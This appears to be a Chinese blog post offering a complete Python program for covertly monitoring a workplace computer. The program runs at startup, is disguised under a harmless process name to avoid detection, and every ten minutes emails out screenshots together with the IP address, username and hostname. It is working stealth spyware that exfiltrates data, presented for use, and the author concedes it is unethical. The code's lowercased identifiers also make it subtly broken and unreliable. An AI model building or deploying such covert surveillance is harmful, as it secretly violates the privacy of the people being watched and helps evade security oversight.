admin管理员组

文章数量:1559060

        适用于公司防止摸鱼(虽然有点不道德),可使用pyinstaller工具打包,生成快捷方式,再放到

c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup 路径就可以实现开机自启动

能获取 时间, ip,用户名,计算机名

我采用的是伪装成windmillworker  不会有程序检测到

 

授权码获取方法:

    这里以qq邮箱为例,其他邮箱可百度

完整代码:

import time,os,socket,requests,smtplib
from pil import imagegrab
from email.mime.text import mimetext
from email.mime.multipart import mimemultipart
from email.mime.image import mimeimage
host_name = socket.gethostname()
user_name = os.getlogin()
ip = requests.get('http://ifconfig.me/ip', timeout=1).text.strip()
def run(title,text,img):
    number = '发送的邮箱' # 必须和授权码的邮箱一致
    sender = '接收的邮箱' # 可随便填
    password = '授权码' # qq邮箱申请的授权码
    receivers = number
    content = mimetext(text, _subtype="html", _charset="utf-8")
    msg = mimemultipart('related')
    msg.attach(content)
    imagefile = fr"{img}"
    imageapart = mimeimage(open(imagefile, 'rb').read(), imagefile.split('.')[-1])
    imageapart.add_header('content-disposition', 'attachment', filename=imagefile)
    msg.attach(imageapart)
    msg['subject'] = title
    msg['from'] = sender
    msg['to'] = receivers
    try:
        server = smtplib.smtp('smtp.qq')
        server.login(sender, password)
        server.sendmail(msg['from'], msg['to'].split(','), msg.as_string())
        print(f'发送成功')
    except smtplib.smtpexception as e:
        print(f'发送失败{e}')
while true:
    imagegrab.grab().save(r"img.png")
    info = f'时间:{time.strftime("%y-%m-%d %h:%m:%s")}\nip:{ip}\n用户名:{user_name}\n计算机名:{host_name}'
    run(f'{user_name}',f'{info}','img.png')
    os.remove('img.png')
    time.sleep(600) # 这里可根据需求自行设置时间

本文标签: 邮箱电脑python